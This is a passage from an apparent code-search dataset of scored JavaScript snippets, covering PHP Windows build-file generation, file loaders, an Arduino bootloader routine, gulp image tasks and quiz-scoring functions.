path;\n\t\t\t\tcontents = contents.replace(/cgi\\.exe/g, \"php-cgi.exe\");\n\n\t\t\t} else {\n\n\t\t\t\t/* there's always one... most sapis just get a 'php5' prefix */\n\t\t\t\tnewext = (ext.match(/apache2handler/) ? \"php5apache2\" : \"php5\" + ext);\n\t\t\t\taddress = address.replace(ext + \".dsp\", newext + \".dsp\");\n\t\t\t\tsrcpath = \".\\\\\";\n\t\t\t\toldext = new RegExp(('[^=\\\\\\\\]'+ext), \"g\");\n\t\t\t\tcontents = contents.replace(oldext, newext);\n\t\t\t\tcontents = contents.replace(ext + \".dll\", newext + \".dll\");\n\t\t\t\tcontents = contents.replace(\"CFG=\" + ext, \"CFG=\" + newext);\n\t\t\t}\n\n\t\t\tcontents = read_src_files(ext, contents, (srcpath ? srcpath : false));\n\t\t\tdsp = FSO.CreateTextFile(address, true);\n\t\t\tSTDOUT.WriteLine(\"\\tGenerating \" + address);\n\t\t\tdsp.Write(contents);\n\t\t\tdsp.Close();\n\n\t\t\t/* add all configured sapis to the list in php5ts.dsw */\n\t\t\tsblocks += file_get_contents(\"win32\\\\build\\\\block.template.dsw\");\n\t\t\tsblocks = sblocks.replace(\"ADDRESS\", address);\n\t\t\tsblocks = sblocks.replace(\"EXTNAME\", newext);\n\n\t\t} else if (address.match(\"ext\") && shared == \"true\") {\n\n\t\t\t/* independent modules with their own .dsp */\n\t\t\tcontents = read_src_files(ext, contents, false);\n\t\t\tdsp = FSO.CreateTextFile(address, true);\n\t\t\tSTDOUT.WriteLine(\"\\tGenerating \" + address);\n\t\t\tdsp.Write(contents);\n\t\t\tdsp.Close();\n\n\t\t\tmblocks += file_get_contents(\"win32\\\\build\\\\block.template.dsw\");\n\t\t\tmblocks = mblocks.replace(\"ADDRESS\", address);\n\t\t\tmblocks = mblocks.replace(\"EXTNAME\", ext);\n\n\t\t} else if (ext.match(/(TSRM|Zend)/)) {\n\n\t\t\tcontents = read_src_files(ext, contents, false);\n\t\t\tdsp = FSO.CreateTextFile(address, true);\n\t\t\tSTDOUT.WriteLine(\"\\tGenerating \" + address);\n\t\t\tdsp.Write(contents);\n\t\t\tdsp.Close();\n\n\t\t} else {\n\n\t\t\t/* bound for php5[ts].dsp */\n\t\t\tcflags = get_define(\"CFLAGS_\" + EXT);\n\t\t\tcflags = cflags ? cflags.replace(/-(I|D)/g, \" /$1\") : \"\";\n\t\t\tcflags = cflags? cflags.replace(/\\/(I|D)\\s+/g, \"/$1\") : \"\";\n\t\t\tcflags = cflags ? cflags.replace(/\\/I(?!\\\")(\\S+)/g, '/I\"$1\"') : \"\";\n\n\t\t\tEXT_CFLAGS = check_duplicates(cflags, EXT_CFLAGS);\n\t\t\tEXT_LDFLAGS = check_duplicates(ldflags, EXT_LDFLAGS);\n\t\t\tEXT_LIBS = check_duplicates(libs, EXT_LIBS);\n\n\t\t\tbeginh = '# Begin Group \"' + ext + ' \"\\r\\n';\n\t\t\tbegins = '# Begin Group \"' + ext + '\"\\r\\n';\n\n\t\t\thdr = file_get_contents(\"tmp\\\\src\\\\\" + ext + \".headers.tmp\");\n\t\t\thdr = hdr.replace(/\\.\\//g, \"..\\\\\" + path);\n\t\t\thdr = hdr.replace(/\\.\\.\\\\\\.\\.\\\\/g, \"..\\\\\");\n\n\t\t\tsrc = file_get_contents(\"tmp\\\\src\\\\\" + ext + \".sources.tmp\");\n\t\t\tsrc = src.replace(/\\.\\//g, \"..\\\\\" + path);\n\t\t\tsrc = src.replace(/\\.\\.\\\\\\.\\.\\\\/g, \"..\\\\\");\n\n\t\t\tif (ext.match(/(main|standard|streams|win32)/)) {\n\t\t\t\tCORE_HEADERS += beginh + hdr + \"# End Group\\r\\n\";\n\t\t\t\tCORE_SOURCES += begins + src + \"# End Group\\r\\n\";\n\t\t\t} else {\n\t\t\t\tEXT_HEADERS += beginh + hdr + \"# End Group\\r\\n\";\n\t\t\t\tEXT_SOURCES += begins + src + \"# End Group\\r\\n\";\n\t\t\t}\n\n\t\t\tFSO.DeleteFile(\"tmp\\\\src\\\\\" + ext + \".headers.tmp\");\n\t\t\tFSO.DeleteFile(\"tmp\\\\src\\\\\" + ext + \".sources.tmp\");\n\t\t}\n\n\t\tFSO.DeleteFile(f.item());\n\t}\n\n\tgenerate_core_dsp(CORE_HEADERS, CORE_SOURCES, EXT_HEADERS, EXT_SOURCES, EXT_CFLAGS, EXT_LDFLAGS, EXT_LIBS);\n\tgenerate_dsw_files(sblocks, mblocks);\n\n\t/* goodnight vienna */\n\tFSO.DeleteFolder(\"tmp\\\\src\");\n\tFSO.DeleteFolder(\"tmp\");\n}", "title": "" }, { "docid": "73504d74d7d776b4a6d4a12f0041adf4", "score": "0.4416403", "text": "function loadNextFile() {\n\tif (fileCounter <= fileCount) {\n\t\t//Put a zero in file names under 10\n\t\tvar n = (fileCounter < 10 ? \"0\":\"\") + fileCounter;\n\t\t//Construct the URL\n\t\tvar url = dataPath + \"/\" + filePrefix + \".2014.part\" + n + \".xml.gz\";\n\t\t//Open up a read stream and unzip it\n\n\t\t\n\t\t\tvar rstream = fs.createReadStream(url);\n\t\t\tvar gunzip = zlib.createGunzip();\n\t\t\t \t\n\t\t\trstream // reads from the url we've constructed\n\t\t\t .pipe(gunzip) // uncompresses\n\t\t\t .pipe(parser.saxStream); //Parses into record objects\n\t\t\t\t\n\t\t\tfileCounter ++;\n\t\t\tconsole.log(\"LOADING FILE : \" + url);\n\t\t\n\t}\n}", "title": "" }, { "docid": "18747a9f68e98641bf848e0ecc47ad54", "score": "0.44134092", "text": "findFileInSrc (filename) {\n // scan each source dir to find a valid config file\n // note that any file found here will supersede a previously found file\n for (const dir of this.opt.src) {\n const target = this.path.join(dir, filename);\n if (this.fs.existsSync(target)) {\n this.log.debug('Found file: ' + target);\n return this.path.resolve(target);\n }\n }\n return '';\n }", "title": "" }, { "docid": "094a1b3e6e18f2de6577cc210ee291a6", "score": "0.44132257", "text": "enterPackName(ctx) {\n\t}", "title": "" }, { "docid": "2e3ec51ee49da4c4752dbf815356ddcb", "score": "0.4413052", "text": "static GetAssetPathFromTextMetaFilePath() {}", "title": "" }, { "docid": "ddac833ebd908bda621930b9d3474ff8", "score": "0.44074336", "text": "get output() { return this.runtimeFilesBase + '/transpiled' }", "title": "" }, { "docid": "2a704781db95d095c18a7b0476df968a", "score": "0.4402021", "text": "function dirname() {\n return path_1.default.dirname(url_1.fileURLToPath(import.meta.url));\n}", "title": "" }, { "docid": "05bdee0f7e71b6962e1fe92d1f3bca37", "score": "0.4395423", "text": "function make_patch(p_element){\n\n\n var server, user, owner\n\n var full_path = $('#'+p_element).val();\n\n var arr_path = full_path.split('\\\\');\n \n var l_file_name = arr_path[arr_path.length-1]; //имя pck\n \n arr_path.splice(arr_path.length-1, 1); \n\n var l_path = arr_path.join('\\\\'); // путь pck\n\n server = 'VTB24_DEV';\n user = 'IBS';\n owner = 'IBS'\n\n var txt = '<?xml version=\"1.0\" encoding=\"Windows-1251\"?>' + '\\r\\n' + '\\r\\n'\n\n txt +='<configuration'+ '\\r\\n'\n txt += ' version=\"1\" '+ '\\r\\n'\n txt += ' server=\"'+server+'\"'+ '\\r\\n'\n txt += ' user=\"'+user+'\"'+ '\\r\\n'\n txt += ' owner=\"'+owner+'\"'+ '\\r\\n'\n txt += ' pfx-file=\" \"'+ '\\r\\n'\n txt += ' show-monitor=\"true\"'+ '\\r\\n'\n txt +='>'+ '\\r\\n'+ '\\r\\n'\n txt += '<download'+ '\\r\\n'\n txt += ' pck-file=\"'+full_path+'\"'+ '\\r\\n'\n txt += ' storage-file=\"'+l_path+'\\\\ibsobj.mdb\"'+ '\\r\\n' \n txt += ' dependent-mode=\"include\"'+ '\\r\\n'\n txt += ' enabled=\"true\"'+ '\\r\\n'\n txt += '/>'+ '\\r\\n'+ '\\r\\n'\n txt +='</configuration>'+ '\\r\\n'\n\n\n var fso = new ActiveXObject(\"Scripting.FileSystemObject\"); \n var fh = fso.CreateTextFile(\".\\\\tmp\\\\make.xml\", 2, true); \n fh.Write(txt); \n \n fh.Close(); \n\n var output = $('#output_area')\n\n output.html(params.arm.pick +' /cf \"'+ l_path +'\\\\make.xml\" /p IBS /lf \"'+l_path +'\\\\log.txt\" ')\n\n alert(params.arm.pick +' /cf \"'+ l_path +'\\\\make.xml\" /p IBS /lf \"'+l_path +'\\\\log.txt\" ')\n\n runCmd(params.arm.pick +' /cf \"'+ l_path +'\\\\make.xml\" /p IBS /lf \"'+l_path +'\\\\log.txt\" ')\n\n}", "title": "" }, { "docid": "25906f35f517584fbaace95bd81772b9", "score": "0.43941155", "text": "function loadRemoteBundle(url) {\n if (url.indexOf(\".zip\") === -1) {\n alert(\"Invalid Bundle\");\n } else {\n var name_parts = url.split(\"/\");\n var name = name_parts[name_parts.length -1].replace(\".zip\",\"\");\n loadRemoteZip(name, url);\n }\n}", "title": "" }, { "docid": "b25e0cb0ae37138cf61fa548bed082a4", "score": "0.43932658", "text": "get forkPath() {\n return join(FIXTURE, 'fork.js')\n }", "title": "" }, { "docid": "7924cd50f0104d5cf4fb4a6cdcc806ab", "score": "0.43931213", "text": "function unpackSancovPacked(file){\n\tvar cf=fs.readFileSync(file);\n\tvar x=0;\n\tvar unpackedSancov={};\n\n\tconsole.dlog('Packed sancov name: '+file);\n\tconsole.dlog('Packed sancov length: '+cf.length);\n\tif(cf.length>12){\n\t\twhile(true){\n\t\t\tvar header=[cf.readInt32LE(x),cf.readInt32LE(x+4),cf.readInt32LE(x+8)];\n\t\t\tvar module=cf.slice(x+12,x+12+header[1]).toString().split('.')[0];\n\t\t\tvar data=cf.slice(x+12+header[1],x+12+header[1]+header[2]);\n\t\t\tif(unpackedSancov[module]){\n\t\t\t\tunpackedSancov[module]=Buffer.concat([unpackedSancov[module],data]);\n\t\t\t}else {\n\t\t\t\tunpackedSancov[module]=data;\n\t\t\t}\n\t\t\tx=x+12+header[1]+header[2];\n\t\t\tconsole.dlog('X after unpacking '+module+': '+x);\n\t\t\tif(x>=cf.length){\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\telse{\n\t\tconsole.dlog('Pack length under header length.');\n\t}\n\treturn unpackedSancov;\n}", "title": "" }, { "docid": "078875d1575a72bf698f38437a6ce41a", "score": "0.43925405", "text": "function main() {\r\n\r\n /*\r\n * check commandline\r\n */\r\n\r\n parseCommandline();\r\n\r\n /*\r\n * create file system object and check path\r\n */\r\n\r\n fso = new ActiveXObject(\"Scripting.FileSystemObject\");\r\n if (!fso.FolderExists(szSourceDir))\r\n error(\"Source directory does not exists!\\n\\n\\tDirectory: \"+szSourceDir+\"\\n\");\r\n\r\n\r\n /*\r\n * create output to definition file\r\n */\r\n\r\n createDefinitionFile();\r\n\r\n\r\n /*\r\n * create xmlDOM object and open definition file\r\n */\r\n\r\n xmlSource = new ActiveXObject(\"Microsoft.XMLDOM\");\r\n xmlSource.async = false;\r\n xmlSource.load( szDefFile );\r\n var state = xmlSource.readyState;\r\n print( \"XML-ReadyState = \" + state );\r\n if (state == 4) {\r\n var err = xmlSource.parseError;\r\n if (err.errorCode != 0) {\r\n print( \"XML-Error: \" + err.Reason );\r\n } else {\r\n print( \"XML-Success: opened xzip definition file\" );\r\n }\r\n }\r\n\r\n\r\n /*\r\n * update sums and offsets\r\n */\r\n\r\n updateDefinitionFile();\r\n xmlSource.save( szDefFile );\r\n\r\n\r\n /*\r\n * create xzip\r\n */\r\n\r\n shell = WScript.CreateObject(\"WScript.Shell\");\r\n\r\n createxzip();\r\n\r\n\r\n /*\r\n * exit\r\n */\r\n\r\n WScript.Quit(0);\r\n\r\n}", "title": "" }, { "docid": "d36af4593a77df856b06c25273448da0", "score": "0.43884256", "text": "function bootload(path, url, done){\n\n var pageSize = 256;\n var baud = 115200;\n var delay1 = 10; //minimum is 2.5us, so anything over 1 fine?\n var delay2 = 1;\n var signature = new Buffer([0x1e, 0xa8, 0x02]);\n var options = {\n timeout:0xc8,\n stabDelay:0x64,\n cmdexeDelay:0x19,\n synchLoops:0x20,\n byteDelay:0x00,\n pollValue:0x53,\n pollIndex:0x03\n };\n\n var hex;\n\n var serialPort = new SerialPort.SerialPort(path, {\n baudrate: baud\n }, false);\n\n var programmer = new stk500(serialPort);\n\n async.series([\n function(cbStep){\n getHex(url, function(err, data){\n if(err){\n return cbStep(err);\n }\n\n hex = data;\n cbStep();\n });\n },\n function(cbStep){\n programmer.connect(cbStep);\n },\n function(cbStep){\n programmer.sync(3,cbStep);\n },\n function(cbStep){\n programmer.verifySignature(signature, cbStep);\n },\n function(cbStep){\n programmer.enterProgrammingMode(options, cbStep);\n },\n function(cbStep){\n programmer.upload(hex, pageSize,cbStep);\n },\n function(cbStep){\n programmer.exitProgrammingMode(cbStep);\n }\n ], function(err){\n\n serialPort.on('close', function () {\n done(err);\n });\n\n serialPort.close();\n \n });\n\n}", "title": "" }, { "docid": "5336cf01036bfda489f27117102ebc41", "score": "0.43755376", "text": "get srcDir() {\n return path.resolve(url.fileURLToPath(import.meta.url), '..', '..', '..');\n }", "title": "" }, { "docid": "3ba778bc58538e8e3667609d9d0ee4d9", "score": "0.4353738", "text": "changeFileLoaded (state) {\n state.fileLoadedFromMain = true\n }", "title": "" }, { "docid": "3b08fa2c4837fb02b4dc8305eb95bd71", "score": "0.43518582", "text": "static rebaseLockfile(/* pathToPackageRoot, lockfile */) {\n }", "title": "" }, { "docid": "02aa2c85d8cfc0476daad752056f9e7f", "score": "0.4346683", "text": "function loadFile() {\n\tgetStateVars();\n\tif(exportid != \"\") {\n\t getFileObj(exportid);\n\t}\n\telse if (id != \"\") {\n\t\tgetFileObj(id);\n\t}\n\telse {\n\t\tconsole.log('no file id passed in state');\n\t}\n}", "title": "" }, { "docid": "b762b979101a33694d1f404dec3eb340", "score": "0.43465236", "text": "async function main() {\n\tconst injectionTarget = '/*#GET_ICON_IMPORTS#*/';\n\tconst targetFilePath = `${__dirname}/target.js`;\n\n\tconst cardsFiles = await asyncGetFilesInDirectory(\n\t\t`${__dirname}/cards`,\n\t\t'utf8'\n\t);\n\n\tconst parseCardsFiles = cardsFiles.map(card => {\n\t\tconst [prefix, suffix] = card.split('.');\n\t\treturn `import ${prefix} from './cards/${card}`;\n\t});\n\tconsole.log('parseCardsFiles', parseCardsFiles);\n\t// const transformedIconFiles = cardsFiles.map(fileName => {\n\t// \t[_, code, type] = lineTemplate.exec(fileName);\n\t// \tconst codeType = `${code}_${type}`;\n\t// \tcodeTypes.push(`Icon${codeType}`);\n\n\t// \treturn `import Icon${codeType} from './files/${codeType}.svg';`;\n\t// });\n\n\t//\tconsole.log(transformedIconFiles);\n\n\t// transformedIconFiles.unshift(`import React, { FC } from 'react';`)\n\n\t// Add export line.\n\t// transformedIconFiles.push('interface IWeatherIcons {[key: string]: FC;};');\n\n\t// transformedIconFiles.push(`const weatherIcons: IWeatherIcons = {${codeTypes.join(', ')}}`);\n\t// transformedIconFiles.push(`export default weatherIcons;`);\n\n\t// const buildFile = await asyncReadFile(targetFilePath, 'utf8');\n\t// const updatedBuild = buildFile.replace(injectionTarget, transformedIconFiles.join('\\n'));\n\t// await asyncWriteFile(targetFilePath, updatedBuild);\n}", "title": "" }, { "docid": "b2c054608f105d0b9d79fba9d1c9c633", "score": "0.43415204", "text": "function gfxStart() {\n return src(helpers.trim(`${helpers.source()}/${global.config.gfx.src}/**/*`))\n .pipe(imagemin([\n imagemin.gifsicle(gfxConfig.gifConfig),\n imageminMozjpeg(gfxConfig.jpegConfig),\n imageminPngquant(gfxConfig.pngConfig),\n imagemin.svgo(gfxConfig.svgConfig),\n ]))\n .pipe(dest(helpers.trim(`${helpers.dist()}/${global.config.gfx.dist}`)))\n .pipe(gulpif(global.config.sync.run, global.bs.stream()));\n}", "title": "" }, { "docid": "8396d0f69268ced14141b02e26fb0dc5", "score": "0.43403423", "text": "getMainPath() {\n return path.join(this.getProjectPath(), this.getConfig('paths.main'));\n }", "title": "" } ]
47104c14346349f82502d9449cde3616
Displays the total questions the user has answered incorrect
[ { "docid": "e6b232ea73c8f614c8186e81abea23a5", "score": "0.0", "text": "displayTotalIncorrect() {\n this.stats[\"total-incorrect\"].innerText = this.getTotalIncorrect()\n }", "title": "" } ]
[ { "docid": "4f35ac77807e3d599cdcea8c9aa9afb3", "score": "0.787712", "text": "function displayTotal() {\n var total = $('<p>',{id: 'question'});\n \n var numCorrect = 0;\n var incorrect = 0;\n\n total.append('Incorrect: Question ');\n for (var i = 0; i < selections.length; i++) {\n if (selections[i] === questions[i].correctAnswer) {\n numCorrect++;\n incorrect++;\n }\n else {\n incorrect++;\n total.append(incorrect + ' ');\n }\n }\n \n total.append('<br><br>You got ' + numCorrect + ' questions out of ' +\n questions.length + ' correct!');\n return total;\n }", "title": "" }, { "docid": "4f35ac77807e3d599cdcea8c9aa9afb3", "score": "0.787712", "text": "function displayTotal() {\n var total = $('<p>',{id: 'question'});\n \n var numCorrect = 0;\n var incorrect = 0;\n\n total.append('Incorrect: Question ');\n for (var i = 0; i < selections.length; i++) {\n if (selections[i] === questions[i].correctAnswer) {\n numCorrect++;\n incorrect++;\n }\n else {\n incorrect++;\n total.append(incorrect + ' ');\n }\n }\n \n total.append('<br><br>You got ' + numCorrect + ' questions out of ' +\n questions.length + ' correct!');\n return total;\n }", "title": "" }, { "docid": "29b81d859a8f30363763d9040a6e453e", "score": "0.7114713", "text": "function tallyAnswers() {\n \n for (var i = 0; i < triviaVault.length; i++) {\n\n\n correctAnswer = triviaVault[i].correct;\n\n if (userAnswer === correctAnswer) {\n correct++;\n } else if (userAnswer !== correctAnswer) {\n incorrect++;\n } else {\n unanswered++;\n }\n }\n\n // Shows the Final Message with Score\n //\n $(\"#endMessage\").show()\n $(\"#correct\").text(\"Correct: \" + correct)\n $(\"#incorrect\").text(\"Incorrect: \" + incorrect)\n $(\"#unanswered\").text(\"unanswered: \" + correct)\n}", "title": "" }, { "docid": "020c522a4b09dde770a3938ef3f4ba25", "score": "0.689229", "text": "function incorrect() {\n alert('Sorry! incorrect answer, the correct ans is ' + eachQuestion.answer);\n }", "title": "" }, { "docid": "6e15da6f793e6de145bbde18c1495f63", "score": "0.6883424", "text": "function incorrectAnswer() {\n incorrectAnswers++;\n $('.timeRemaining').text(\"Are you drunk? You're gonna have to do better than that!\")\n resetRound();\n \n }", "title": "" }, { "docid": "a45609a81a62d4ea6e44c1bac4a0a1d0", "score": "0.6860314", "text": "function displayScore() {\r\n var score = $('<p>', {\r\n id: 'question'\r\n });\r\n var numCorrect = 0;\r\n for (var i = 0; i < selections.length; i++) {\r\n if (selections[i] === questions[i].correctAnswer) {\r\n numCorrect++;\r\n }\r\n }\r\n score.append('You got ' + numCorrect + ' out of ' +\r\n questions.length + '.');\r\n return score;\r\n }", "title": "" }, { "docid": "d57f2cd359dc3ab52fb32f44ec9d4366", "score": "0.683382", "text": "function incorrectAnswer() {\n // function is called when question timer has tripped...therefore bump up total incorrect answers\n totalIncorrect++;\n\n // clear all answers\n // make sure previous answers are removed\n $(\"#userChoices\").text(\"\");\n\n // message the player that their answer is incorrect. \n $(\"#userMessage\").text(\"The correct answer is \" + triviaObj.questions[questionIndex].correctAnswer + \". You have answered \" + totalCorrect + \" questions correctly, and \" + totalIncorrect + \" incorrectly!\" );\n\n // start the transition timer. Used to make sure the player has adequate time to view incorrect error message\n startQuestionTransition();\n }", "title": "" }, { "docid": "665fc8354552ca5bda37ca1ae7756b90", "score": "0.68032557", "text": "function wrongAnswer() {\n \n setUpResp();\n emptyQuestionDiv();\n $('#score').text('Wrong!');\n incorrect++;\n responseInterval();\n\n }", "title": "" }, { "docid": "6093f0537f7175033d8a8a4e288d8095", "score": "0.679975", "text": "function displayScore() {\n var score = $('<p>',{id: 'question'});\n\n var numCorrect = 0;\n for (var i = 0; i < selections.length; i++) {\n if (selections[i] === questions[i].correctAnswer) {\n numCorrect++;\n }\n }\n\n score.append('You got ' + numCorrect + ' questions out of ' +\n questions.length + ' right!!!');\n return score;\n }", "title": "" }, { "docid": "a99b3b27e7d9ede2a1138976fe0ef805", "score": "0.67403483", "text": "function checkAnswers() {\n var correctAnswer;\n var userAnswer;\n var numCorrect = 0;\n var numIncorrect = 0;\n var numUnanswered = 0;\n\n for (var i = 0; i < questionVault.length; i++) {\n correctAnswer = questionVault[i].correct;\n userAnswer = $('input[id=radio' + i + ']:checked + label').text();\n if (userAnswer === correctAnswer) {\n numCorrect++;\n } else if (userAnswer === \"\") {\n numUnanswered++;\n } else if (userAnswer !== correctAnswer) {\n {\n numIncorrect++;\n }\n }\n }\n $(\"#end-page\").show();\n $(\"#questions-box\").empty();\n $(\"#timer\").empty();\n $(\"#timer\").hide();\n $(\"#correct-answers\").text(\"Correct: \" + numCorrect);\n $(\"#incorrect-answers\").text(\"Incorrect: \" + numIncorrect);\n $(\"#unanswered\").text(\"Not Answered: \" + numUnanswered);\n}", "title": "" }, { "docid": "c2482aab8b9f9d13951a02df3734e57e", "score": "0.6736493", "text": "function displayScore() {\n var score = $('<p>',{id: 'question'});\n var numCorrect = 0;\n for (var i = 0; i < selections.length; i++) {\n if (selections[i] === questions[i].correctAnswer) {\n numCorrect++;\n }\n }\n\n score.append('Вы ответили на ' + numCorrect + ' вопроса из ' +\n questions.length + ' правильно!!!');\n return score;\n }", "title": "" }, { "docid": "da9a665cc7c0001f4d7602a524447d82", "score": "0.67264396", "text": "function displayScore() {\n var score = $(\"<p>\", { id: \"question\" });\n\n var numCorrect = 0;\n for (var i = 0; i < selections.length; i++) {\n if (selections[i] === questions[i].correctAnswer) {\n numCorrect++;\n }\n }\n\n score.append(\n \"Vous avez \" +\n numCorrect +\n \" bonnes réponses sur \" +\n questions.length +\n \" !\"\n );\n return score;\n }", "title": "" }, { "docid": "e5940250b3ab6177653cc5b5d4d86cd7", "score": "0.67108023", "text": "function displayScore() {\n\t var score = $('<p>',{id: 'question'});\n\t \n\t var numCorrect = 0;\n\t for (var i = 0; i < selections.length; i++) {\n\t if (selections[i] === questions[i].correct) {\n\t numCorrect++;\n\t }\n\t }\n\t \n\t score.append('You got ' + numCorrect + ' questions out of ' +\n\t questions.length + ' right!!!');\n\t return score;\n\t }", "title": "" }, { "docid": "249f7a4224d03906d6b7a0b689cd8cbe", "score": "0.6697708", "text": "function countCorrectAnswers() {\n\n var questions = [\"yearSunk\", \"captain\", \"yearFound\", \"whoFound\", \"howSunk\", \"howDeep\", \"soulsLost\", \"funnel\"];\n\n for (var i = 0; i < questions.length; i++) {\n\n //checks if result of checkAnswer() is a negative number and increments incorrectAnswer\n\n if (checkAnswer(questions[i]) < 0) {\n\n incorrectAnswer++\n\n //checks if result of checkAnswer() is a positive number and increments correctAnswer\n\n } else if (checkAnswer(questions[i]) > 0) {\n\n correctAnswer++\n\n //otherwise increments notAnswered\n\n } else {\n\n notAnswered++\n\n }\n }\n\n }", "title": "" }, { "docid": "14765b2778a8015829072b1d3ea79963", "score": "0.66921204", "text": "function incorrectAnswer() {\n clearInterval(timerSet);\n k.html(\" \");\n j.html(\" \")\n incorrect++;\n i.html(\"# Answered Incorrectly: \" + incorrect);\n questions.splice(f, 1);\n if (questions.length === 0) {\n stop();\n } else {\n z.html(\" \");\n randomizer();\n\n }\n }", "title": "" }, { "docid": "9391f348ba17e35b3b93bdc15c811e73", "score": "0.66845703", "text": "function validateForm() {\n\n var q1 = document.forms[\"quizForm\"][\"qFl\"].value;\n var q2 = document.forms[\"quizForm\"][\"qCal\"].value;\n var q3 = document.forms[\"quizForm\"][\"qIl\"].value;\n var q4 = document.forms[\"quizForm\"][\"qTx\"].value;\n var q5 = document.forms[\"quizForm\"][\"qNy\"].value;\n var q6 = document.forms[\"quizForm\"][\"qCol\"].value;\n var q7 = document.forms[\"quizForm\"][\"qNv\"].value;\n var q8 = document.forms[\"quizForm\"][\"qMt\"].value;\n var q9 = document.forms[\"quizForm\"][\"qHw\"].value;\n var q10 = document.forms[\"quizForm\"][\"qAl\"].value;\n //if statements to add to your score can be done in for loop later\n if (q1 === grading[0]) {\n correctAnswers++;\n console.log(correctAnswers)\n }\n if (q2 === grading[0]) {\n correctAnswers++;\n console.log(correctAnswers)\n }\n if (q3 === grading[0]) {\n correctAnswers++;\n console.log(correctAnswers)\n }\n\n if (q4 === grading[0]) {\n correctAnswers++;\n console.log(correctAnswers)\n }\n\n if (q5 === grading[0]) {\n correctAnswers++;\n console.log(correctAnswers)\n }\n\n if (q6 === grading[0]) {\n correctAnswers++;\n console.log(correctAnswers)\n }\n\n if (q7 === grading[0]) {\n correctAnswers++;\n console.log(correctAnswers)\n }\n\n if (q8 === grading[0]) {\n correctAnswers++;\n console.log(correctAnswers)\n }\n\n if (q9 === grading[0]) {\n correctAnswers++;\n console.log(correctAnswers)\n }\n\n if (q10 === grading[0]) {\n correctAnswers++;\n console.log(correctAnswers)\n }\n\n\n\nvar resultString = \"Great Job you got \" + correctAnswers+ \" right out of 10.\";\n$(\".testBody\").hide();\n$(\"#count\").hide();\n$(\"#results\").text(resultString);\n$(\"#startClock\").hide();\n\n\n\n\n\n\n }", "title": "" }, { "docid": "da3a364b9bf7d6e914108afc59eb14f2", "score": "0.6664632", "text": "function incorrectAnswer() {\n \n // hide the questionAsked Board and display the answer board\n $(\"#questionAsked\").hide();\n $(\"#answer\").show();\n \n //Add 1 to answeredIncorrectly\n gameVariables.answeredIncorrectly++;\n $(\"#answer\").html(\"<h2><p>Incorrect!</p><p>Correct answer was: \" + questionsArray[gameVariables.currentQuestion].answers[questionsArray[gameVariables.currentQuestion].correctAnswer]);\n \n //Wait 3 seconds then display next question\n gameVariables.currentQuestion++;\n setTimeout (function() {\n displayQuestion();\n }, 3000);\n }", "title": "" }, { "docid": "6c801b731659760c20f4f5f850c139fd", "score": "0.6663081", "text": "function numberOfQuestions() {\n return questions.length;\n }", "title": "" }, { "docid": "9f9c120f1632adabff1c948aa8ac34ea", "score": "0.66620785", "text": "function loadRemainingQuestion() {\n const remainingQuestion = testQuestion.length - (currentQuestion + 1);\n const totalQuestion = testQuestion.length;\n return `Remaining Question: ${remainingQuestion} / ${totalQuestion}`;\n}", "title": "" }, { "docid": "ab70ee8ff33a26c38f659a40689c150c", "score": "0.6648834", "text": "function displayScore() {\r\n var score = $('<p>',{id: 'question'});\r\n \r\n var numCorrect = 0;\r\n for (var i = 0; i < selections.length; i++) {\r\n if (selections[i] === questions[i].correctAnswer) {\r\n numCorrect++;\r\n }\r\n }\r\n \r\n score.append('You got ' + numCorrect + ' questions out of ' +\r\n questions.length + ' right!!!');\r\n return score;\r\n }", "title": "" }, { "docid": "490514040d8990a39004a6f06c5b4dda", "score": "0.6634831", "text": "function showResults() {\n $(\"#game-results\").show();\n $(\"#message-to-user\").html(\"<h3>All Done!</h3>\");\n $(\"#correct-ans\").html(\"Correct Answers: \" + score);\n //below is how the unanswered questions category is calculated, using the length of the arrays\n $(\"#un-ans\").html(\"Unanswered Questions: \" + (val = (correctAnswers.length - userAnswers.length)));\n $(\"#incorrect-ans\").html(\"Incorrect Answers: \" + incorrectAnswers);\n }", "title": "" }, { "docid": "b113837c5b81e27ef0204e51a629b396", "score": "0.6630906", "text": "function displayScore() {\n var score = $('<p>',{id: 'question'});\n \n var numCorrect = 0;\n for (var i = 0; i < selections.length; i++) {\n if (selections[i] === questions[i].correctAnswer) {\n numCorrect++;\n }\n }\n \n score.append('<br><br><br><br><p align=\"center\">You got ' + numCorrect + ' questions out of ' +\n questions.length + ' right!!!'+\"<br><br><br><br><br>\");\n return score;\n }", "title": "" }, { "docid": "2e0eba45577ce87a886b606dcc3fdc53", "score": "0.6626186", "text": "function checkAnswers(){\n\tif(questionOneAns === \"correct\"){\n\t\tcorrect++;\n\t} else if (questionOneAns === \"incorrect\"){\n\t\tincorrect++;\n\t}\n\n\tif(questionTwoAns === \"correct\"){\n\t\tcorrect++;\n\t} else if (questionTwoAns === \"incorrect\"){\n\t\tincorrect++;\n\t}\n\n\tif(questionThreeAns === \"correct\"){\n\t\tcorrect++;\n\t} else if (questionThreeAns === \"incorrect\"){\n\t\tincorrect++;\n\t}\n\n\tif(questionFourAns === \"correct\"){\n\t\tcorrect++;\n\t} else if (questionFourAns === \"incorrect\"){\n\t\tincorrect++;\n\t}\n\n\tif(questionFiveAns === \"correct\"){\n\t\tcorrect++;\n\t} else if (questionFiveAns === \"incorrect\"){\n\t\tincorrect++;\n\t}\n\n\tif(questionSixAns === \"correct\"){\n\t\tcorrect++;\n\t} else if (questionSixAns === \"incorrect\"){\n\t\tincorrect++;\n\t}\n\n\tif(questionSevenAns === \"correct\"){\n\t\tcorrect++;\n\t} else if (questionSevenAns === \"incorrect\"){\n\t\tincorrect++;\n\t}\n\n\tif(questionEightAns === \"correct\"){\n\t\tcorrect++;\n\t} else if (questionEightAns === \"incorrect\"){\n\t\tincorrect++;\n\t}\n\n\tif(questionNineAns === \"correct\"){\n\t\tcorrect++;\n\t} else if (questionNineAns === \"incorrect\"){\n\t\tincorrect++;\n\t}\n\n\tif(questionTenAns === \"correct\"){\n\t\tcorrect++;\n\t} else if (questionTenAns === \"incorrect\"){\n\t\tincorrect++;\n\t}\n\n\t//Game over screen to show results and hide quiz\n\tanswersIn = true;\n\t$(\"#my-quiz\").hide();\n\t$(\"#time-display\").hide();\n\t$(\"#submit\").hide();\n\t$(\"#game-over\").show();\n\t$(\"#game-over\").append(\"<h2> You got \" + correct + \" right </h2>\");\n\t$(\"#game-over\").append(\"<h2> You got \" + incorrect + \" wrong </h2>\");\n\t$(\"#game-over\").append(\"<h2> You did not answer \" + (totalQuestions - (correct + incorrect)) + \" questions</h2>\" )\n}", "title": "" }, { "docid": "9c9152ccfa631166106c1089fcde1b6a", "score": "0.6622836", "text": "function 